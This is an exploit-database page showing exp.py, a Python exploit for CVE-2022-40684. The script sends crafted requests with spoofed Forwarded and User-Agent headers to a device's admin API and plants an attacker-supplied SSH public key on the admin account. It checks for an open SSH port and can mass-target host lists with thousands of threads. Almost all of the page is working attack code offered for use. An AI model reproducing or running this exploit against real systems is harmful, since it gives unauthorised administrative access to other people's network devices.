Exploit databaseDownload repository ZIP
GH-7e3bb826e83a6bb5ea7f0c1ebab439b3
qingsiweisan/cve-2022-40684
Sources for CVE-2022-40684
32 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
qingsiweisan/cve-2022-40684Revision 3782d05b50e9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp.py
Suggested starting filePython · 2,087 bytesimport concurrent.futures
import requests
import argparse
import socket
def is_port_open(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, int(port)))
s.shutdown(socket.SHUT_RDWR)
return True
except Exception as e:
pass
return False
requests.urllib3.disable_warnings()
headers = {
"User-Agent": "Report Runner",
"Forwarded": 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"',
}
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="输入网址(ex. 127.0.0.1)")
parser.add_argument("-l", "--list", dest="list", help="输入目标文件(hosts.txt)")
parser.add_argument(
"-k",
"--key",
dest="key",
help="输入公钥(pub文件)",
)
parser.add_argument("-t", "--threads", dest="threads", default=2000, type=int, help="Threads")
args = parser.parse_args()
def format_key(key_file):
with open(key_file) as f:
k = f.read().strip()
return (k)
def exploit(target):
if args.list:
silent = True
else:
silent = False
key = format_key(args.key)
json_key = {
"ssh-public-key1": '\"' + key + '\"'}
url = f"https://{target}/api/v2/cmdb/system/admin/admin"
r = requests.put(url, headers=headers, json=json_key, verify=False, timeout=3)
ip = target[0:target.rfind(":")]
if r.status_code == 500 and is_port_open(ip,22):
print(f'[!] {target} SSH公钥上传成功,22端口开启!')
elif silent == False:
print(f'[-] 目标不存在漏洞!')
if __name__ == "__main__":
if args.url:
exploit(args.url)
elif args.list:
with open(args.list, "r") as f:
hosts = f.readlines()
hosts = list(dict.fromkeys(hosts))
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as pool:
fut = [pool.submit(exploit, host) for host in hosts]
for future in concurrent.futures.as_completed(fut):
pass